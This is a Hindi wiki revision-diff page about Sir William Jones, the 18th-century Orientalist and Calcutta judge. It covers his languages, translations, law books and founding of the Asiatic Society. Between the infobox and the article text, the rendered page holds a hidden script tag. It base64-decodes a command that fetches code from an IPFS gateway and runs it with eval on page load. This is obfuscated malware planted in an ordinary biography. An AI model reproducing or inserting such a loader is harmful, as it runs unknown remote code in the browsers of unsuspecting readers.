"विलियम जोंस" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
(3 सदस्यों द्वारा किये गये बीच के 6 अवतरण नहीं दर्शाए गए)
पंक्ति 8: पंक्ति 8:
 
|मृत्यु=[[17 अप्रैल]], 1794 ई.
 
|मृत्यु=[[17 अप्रैल]], 1794 ई.
 
|मृत्यु स्थान=[[कोलकाता]], [[भारत]]
 
|मृत्यु स्थान=[[कोलकाता]], [[भारत]]
|अविभावक=
+
|अभिभावक=
 
|पालक माता-पिता=
 
|पालक माता-पिता=
 
|पति/पत्नी=
 
|पति/पत्नी=
पंक्ति 14: पंक्ति 14:
 
|कर्म भूमि=[[लंदन]], [[भारत]]
 
|कर्म भूमि=[[लंदन]], [[भारत]]
 
|कर्म-क्षेत्र=
 
|कर्म-क्षेत्र=
|मुख्य रचनाएँ='आन ला ऑव बेलमेंट्स', 'मोअल्लकात', 'आन द ला ऑव बेलमेंट्स' आदि।
+
|मुख्य रचनाएँ='ऑन लॉ ऑफ बेलमेंट्स', 'मोअल्लकात' आदि।
 
|विषय=
 
|विषय=
 
|भाषा=
 
|भाषा=
पंक्ति 21: पंक्ति 21:
 
|पुरस्कार-उपाधि=
 
|पुरस्कार-उपाधि=
 
|प्रसिद्धि=प्राच्य विद्यापंडित और विधिशास्त्री
 
|प्रसिद्धि=प्राच्य विद्यापंडित और विधिशास्त्री
|विशेष योगदान=इन्हें [[संस्कृत]], [[फ़ारसी भाषा|फ़ारसी]], [[अरबी भाषा|अरबी]], जर्मन, फ़्रैंच, पुर्तग़ाली, इतालवी तथा स्पेनी आदि कई भाषाओं का ज्ञान था।
+
|विशेष योगदान=इन्हें [[संस्कृत]], [[फ़ारसी भाषा|फ़ारसी]], [[अरबी भाषा|अरबी]], जर्मन, फ़्रैंच, पुर्तग़ाली, इतालवी तथा स्पेनी आदि कई [[भाषा|भाषाओं]] का ज्ञान था।
 
|नागरिकता=
 
|नागरिकता=
 
|संबंधित लेख=
 
|संबंधित लेख=
पंक्ति 28: पंक्ति 28:
 
|शीर्षक 2=
 
|शीर्षक 2=
 
|पाठ 2=
 
|पाठ 2=
|अन्य जानकारी=विलियम जोंस द्वारा किये गए [[कालिदास]] के '[[अभिज्ञानशाकुंतलम]]' के अनुवाद ने [[संस्कृत]] और [[भारत]] संबंधी यूरोपीय दृष्टि में क्रांति उत्पन्न कर दी थी। गेटे आदि महान [[कवि]] उस अनुवाद से बड़े प्रभावित हुए थे।  
+
|अन्य जानकारी=विलियम जोंस द्वारा किये गए [[कालिदास]] के '[[अभिज्ञानशाकुंतलम]]' के [[अनुवाद]] ने [[संस्कृत]] और [[भारत]] संबंधी यूरोपीय दृष्टि में क्रांति उत्पन्न कर दी थी। गेटे आदि महान् [[कवि]] उस अनुवाद से बड़े प्रभावित हुए थे।  
 
|बाहरी कड़ियाँ=
 
|बाहरी कड़ियाँ=
 
|अद्यतन=
 
|अद्यतन=
 
}}
 
}}
  
'''सर विलियम जोंस''' ([[अंग्रेज़ी]]: ''William Jones'' ; जन्म- [[28 सितम्बर]], 1746 ई., [[लंदन]]; मृत्यु- [[17 अप्रैल]], 1794 ई., [[कोलकाता]], [[भारत]]) [[अंग्रेज़]] प्राच्य विद्यापंडित और विधिशास्त्री तथा प्राचीन भारत संबंधी सांस्कृतिक अनुसंधानों के प्रारम्भकर्ता थे। इन्हें [[संस्कृत]], [[फ़ारसी भाषा|फ़ारसी]], [[अरबी भाषा|अरबी]], जर्मन, फ़्रैंच तथा स्पेनी आदि कई भाषाओं का ज्ञान था। इन्होंने भारत में पूर्वी विषयों के अध्ययन में गम्भीर रूचि ली थी।
+
'''सर विलियम जोंस''' ([[अंग्रेज़ी]]: ''William Jones'' ; जन्म- [[28 सितम्बर]], 1746 ई., [[लंदन]]; मृत्यु- [[17 अप्रैल]], 1794 ई., [[कोलकाता]], [[भारत]]) [[अंग्रेज़]] प्राच्य विद्यापंडित और विधिशास्त्री तथा प्राचीन भारत संबंधी सांस्कृतिक अनुसंधानों के प्रारम्भकर्ता थे। इन्हें [[संस्कृत]], [[फ़ारसी भाषा|फ़ारसी]], [[अरबी भाषा|अरबी]], जर्मन, फ़्रैंच तथा स्पेनी आदि कई भाषाओं का ज्ञान था। इन्होंने भारत में पूर्वी विषयों के अध्ययन में गम्भीर रुचि ली थी।
 
==जन्म तथा शिक्षा==
 
==जन्म तथा शिक्षा==
सर विलियम जोंस का जन्म [[लंदन]] में 28 सितंबर, 1746 ई. को हुआ था। इन्होंने हैरो और ऑक्सफ़ोर्ड में शिक्षा प्राप्त की थी। इसके बाद शीघ्र ही इन्होंने इब्रानी, फ़ारसी, अरबी और चीनी भाषाओं का अभ्यास कर लिया। इनके अतिरिक्त जर्मन, इतावली, फ्रेंच, स्पेनी और पुर्तग़ाली भाषाओं पर भी इनका अच्छा अधिकार हो गया।<ref name="aa">{{cite web |url= http://khoj.bharatdiscovery.org/india/%E0%A4%B8%E0%A4%B0_%E0%A4%B5%E0%A4%BF%E0%A4%B2%E0%A4%BF%E0%A4%AF%E0%A4%AE_%E0%A4%9C%E0%A5%8B%E0%A4%82%E0%A4%B8|title= सर विलियम जोंस|accessmonthday=27 अगस्त|accessyear= 2014|last= |first= |authorlink= |format= |publisher= भारतखोज|language= हिन्दी}}</ref>
+
सर विलियम जोंस का जन्म [[लंदन]] में 28 सितंबर, 1746 ई. को हुआ था। इन्होंने हैरो और ऑक्सफ़ोर्ड में शिक्षा प्राप्त की थी। इसके बाद शीघ्र ही इन्होंने इब्रानी, फ़ारसी, अरबी और चीनी भाषाओं का अभ्यास कर लिया। इनके अतिरिक्त जर्मन, इतावली, फ्रेंच, स्पेनी और पुर्तग़ाली भाषाओं पर भी इनका अच्छा अधिकार हो गया।<ref name="aa">{{cite web |url= http://bharatkhoj.org/india/%E0%A4%B8%E0%A4%B0_%E0%A4%B5%E0%A4%BF%E0%A4%B2%E0%A4%BF%E0%A4%AF%E0%A4%AE_%E0%A4%9C%E0%A5%8B%E0%A4%82%E0%A4%B8|title= सर विलियम जोंस|accessmonthday=27 अगस्त|accessyear= 2014|last= |first= |authorlink= |format= |publisher= भारतखोज|language= हिन्दी}}</ref>
 
==लेखन कार्य==
 
==लेखन कार्य==
[[नादिरशाह]] के जीवनवृत्त का [[फ़ारसी भाषा]] से फ्रेंच भाषा में सर विलियम जोंस का अनुवाद 1770 में प्रकाशित हुआ। 1771 में उन्होंने फ़ारसी व्याकरण पर एक पुस्तक लिखी। 1774 में 'पोएसिअस असिपातिका कोमेंतेरिओरम लिबरीसेम्स' और 1783 में 'मोअल्लकात' नामक सात अरबी कविताओं का अनुवाद किया। फिर इन्होंने पूर्वी साहित्य, भाषाशास्त्र और [[दर्शन]] पर भी अनेक महत्वपूर्ण पुस्तकें लिखीं और अनुवाद किए।
+
[[नादिरशाह]] के जीवनवृत्त का [[फ़ारसी भाषा]] से फ्रेंच भाषा में सर विलियम जोंस का [[अनुवाद]] 1770 में प्रकाशित हुआ। 1771 में उन्होंने फ़ारसी व्याकरण पर एक पुस्तक लिखी। 1774 में 'पोएसिअस असिपातिका कोमेंतेरिओरम लिबरीसेम्स' और 1783 में 'मोअल्लकात' नामक सात अरबी कविताओं का अनुवाद किया। फिर इन्होंने पूर्वी साहित्य, भाषाशास्त्र और [[दर्शन]] पर भी अनेक महत्वपूर्ण पुस्तकें लिखीं और अनुवाद किए।
 
===='सर' की उपाधि====
 
===='सर' की उपाधि====
सर विलियम जोंस ने क़ानून पर भी कई अच्छी पुस्तकें लिखीं। उनकी 'आन ला ऑव बेलमेंट्स' (1781) विशेष प्रसिद्ध है। 1774 से सर विलियम जोंस ने अपना जीवन क़ानून के क्षेत्र में लगा दिया था। वे 1783 में [[बंगाल (आज़ादी से पूर्व)|बंगाल]] के [[उच्च न्यायालय]] में न्यायाधीश नियुक्त हुए थे। उसी [[वर्ष]] उन्हें 'सर' की उपाधि मिली।<ref name="aa"/>
+
सर विलियम जोंस ने क़ानून पर भी कई अच्छी पुस्तकें लिखीं। उनकी 'ऑन लॉ ऑफ बेलमेंट्स' (1781) विशेष प्रसिद्ध है। 1774 से सर विलियम जोंस ने अपना जीवन क़ानून के क्षेत्र में लगा दिया था। वे 1783 में [[बंगाल (आज़ादी से पूर्व)|बंगाल]] के [[उच्च न्यायालय]] में न्यायाधीश नियुक्त हुए थे। उसी [[वर्ष]] उन्हें 'सर' की उपाधि मिली।<ref name="aa"/>
 
==संस्कृत साहित्य का अध्ययन==
 
==संस्कृत साहित्य का अध्ययन==
[[भारत]] में सर विलियम जोंस ने पूर्वी विषयों के अध्ययन में गंभीर रुचि प्रदर्शित की। उन्होंने [[संस्कृत]] का अध्ययन किया और 1784 में 'बंगाल एशियाटिक सोसाइटी' की स्थापना की, जिससे [[भारत का इतिहास|भारत के इतिहास]], पुरातत्व, विशेषकर साहित्य और विधिशास्त्र संबंधी अध्ययन की नींव पड़ी। [[यूरोप]] में इन्होंने [[संस्कृत साहित्य]] की गरिमा सबसे पहले घोषित की। इनके द्वारा किये गए [[कालिदास]] के '[[अभिज्ञानशाकुंतलम]]' के अनुवाद ने संस्कृत और भारत संबंधी यूरोपीय दृष्टि में क्रांति उत्पन्न कर दी। गेटे आदि महान [[कवि]] उस अनुवाद से बड़े प्रभावित हुए।
+
[[भारत]] में सर विलियम जोंस ने पूर्वी विषयों के अध्ययन में गंभीर रुचि प्रदर्शित की। उन्होंने [[संस्कृत]] का अध्ययन किया और 1784 में '[[एशियाटिक सोसाइटी कोलकाता|बंगाल एशियाटिक सोसाइटी]]' की स्थापना की, जिससे [[भारत का इतिहास|भारत के इतिहास]], पुरातत्व, विशेषकर साहित्य और विधिशास्त्र संबंधी अध्ययन की नींव पड़ी। [[यूरोप]] में इन्होंने [[संस्कृत साहित्य]] की गरिमा सबसे पहले घोषित की। इनके द्वारा किये गए [[कालिदास]] के '[[अभिज्ञानशाकुंतलम]]' के अनुवाद ने संस्कृत और भारत संबंधी यूरोपीय दृष्टि में क्रांति उत्पन्न कर दी। गेटे आदि महान् [[कवि]] उस अनुवाद से बड़े प्रभावित हुए। सर विलियम जोंस ने ही सबसे पहले ऐतिहासिक धरोहरों पर केंद्रित शोध प्रक्रिया शुरू की। इससे धरोहरों के बारे में नवीन जानकारियां मिलनी शुरू हुईं।
 
====निधन====
 
====निधन====
 
कलकत्ता (वर्तमान [[कोलकाता]]) में [[17 अप्रैल]], 1794 ई. को महापंडित सर विलियम जोंस का निधन हुआ।
 
कलकत्ता (वर्तमान [[कोलकाता]]) में [[17 अप्रैल]], 1794 ई. को महापंडित सर विलियम जोंस का निधन हुआ।
पंक्ति 49: पंक्ति 49:
 
<references/>
 
<references/>
 
==संबंधित लेख==
 
==संबंधित लेख==
 +
==बाहरी कड़ियाँ==
 +
*[https://www.notablebiographies.com/supp/Supplement-Fl-Ka/Jones-William.html William Jones Biography]
  
 
[[Category:लेखक]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:औपनिवेशिक काल]]
 
[[Category:लेखक]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:औपनिवेशिक काल]]
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

06:56, 18 सितम्बर 2018 के समय का अवतरण

विलियम जोंस
सर विलियम जोंस
पूरा नाम सर विलियम जोंस
जन्म 28 सितम्बर, 1746 ई.
जन्म भूमि लंदन
मृत्यु 17 अप्रैल, 1794 ई.
मृत्यु स्थान कोलकाता, भारत
कर्म भूमि लंदन, भारत
मुख्य रचनाएँ 'ऑन द लॉ ऑफ बेलमेंट्स', 'मोअल्लकात' आदि।
प्रसिद्धि प्राच्य विद्यापंडित और विधिशास्त्री
विशेष योगदान इन्हें संस्कृत, फ़ारसी, अरबी, जर्मन, फ़्रैंच, पुर्तग़ाली, इतालवी तथा स्पेनी आदि कई भाषाओं का ज्ञान था।
अन्य जानकारी विलियम जोंस द्वारा किये गए कालिदास के 'अभिज्ञानशाकुंतलम' के अनुवाद ने संस्कृत और भारत संबंधी यूरोपीय दृष्टि में क्रांति उत्पन्न कर दी थी। गेटे आदि महान् कवि उस अनुवाद से बड़े प्रभावित हुए थे।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

सर विलियम जोंस (अंग्रेज़ी: William Jones ; जन्म- 28 सितम्बर, 1746 ई., लंदन; मृत्यु- 17 अप्रैल, 1794 ई., कोलकाता, भारत) अंग्रेज़ प्राच्य विद्यापंडित और विधिशास्त्री तथा प्राचीन भारत संबंधी सांस्कृतिक अनुसंधानों के प्रारम्भकर्ता थे। इन्हें संस्कृत, फ़ारसी, अरबी, जर्मन, फ़्रैंच तथा स्पेनी आदि कई भाषाओं का ज्ञान था। इन्होंने भारत में पूर्वी विषयों के अध्ययन में गम्भीर रुचि ली थी।

जन्म तथा शिक्षा

सर विलियम जोंस का जन्म लंदन में 28 सितंबर, 1746 ई. को हुआ था। इन्होंने हैरो और ऑक्सफ़ोर्ड में शिक्षा प्राप्त की थी। इसके बाद शीघ्र ही इन्होंने इब्रानी, फ़ारसी, अरबी और चीनी भाषाओं का अभ्यास कर लिया। इनके अतिरिक्त जर्मन, इतावली, फ्रेंच, स्पेनी और पुर्तग़ाली भाषाओं पर भी इनका अच्छा अधिकार हो गया।[1]

लेखन कार्य

नादिरशाह के जीवनवृत्त का फ़ारसी भाषा से फ्रेंच भाषा में सर विलियम जोंस का अनुवाद 1770 में प्रकाशित हुआ। 1771 में उन्होंने फ़ारसी व्याकरण पर एक पुस्तक लिखी। 1774 में 'पोएसिअस असिपातिका कोमेंतेरिओरम लिबरीसेम्स' और 1783 में 'मोअल्लकात' नामक सात अरबी कविताओं का अनुवाद किया। फिर इन्होंने पूर्वी साहित्य, भाषाशास्त्र और दर्शन पर भी अनेक महत्वपूर्ण पुस्तकें लिखीं और अनुवाद किए।

'सर' की उपाधि

सर विलियम जोंस ने क़ानून पर भी कई अच्छी पुस्तकें लिखीं। उनकी 'ऑन द लॉ ऑफ बेलमेंट्स' (1781) विशेष प्रसिद्ध है। 1774 से सर विलियम जोंस ने अपना जीवन क़ानून के क्षेत्र में लगा दिया था। वे 1783 में बंगाल के उच्च न्यायालय में न्यायाधीश नियुक्त हुए थे। उसी वर्ष उन्हें 'सर' की उपाधि मिली।[1]

संस्कृत साहित्य का अध्ययन

भारत में सर विलियम जोंस ने पूर्वी विषयों के अध्ययन में गंभीर रुचि प्रदर्शित की। उन्होंने संस्कृत का अध्ययन किया और 1784 में 'बंगाल एशियाटिक सोसाइटी' की स्थापना की, जिससे भारत के इतिहास, पुरातत्व, विशेषकर साहित्य और विधिशास्त्र संबंधी अध्ययन की नींव पड़ी। यूरोप में इन्होंने संस्कृत साहित्य की गरिमा सबसे पहले घोषित की। इनके द्वारा किये गए कालिदास के 'अभिज्ञानशाकुंतलम' के अनुवाद ने संस्कृत और भारत संबंधी यूरोपीय दृष्टि में क्रांति उत्पन्न कर दी। गेटे आदि महान् कवि उस अनुवाद से बड़े प्रभावित हुए। सर विलियम जोंस ने ही सबसे पहले ऐतिहासिक धरोहरों पर केंद्रित शोध प्रक्रिया शुरू की। इससे धरोहरों के बारे में नवीन जानकारियां मिलनी शुरू हुईं।

निधन

कलकत्ता (वर्तमान कोलकाता) में 17 अप्रैल, 1794 ई. को महापंडित सर विलियम जोंस का निधन हुआ।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 सर विलियम जोंस (हिन्दी) भारतखोज। अभिगमन तिथि: 27 अगस्त, 2014।

संबंधित लेख

बाहरी कड़ियाँ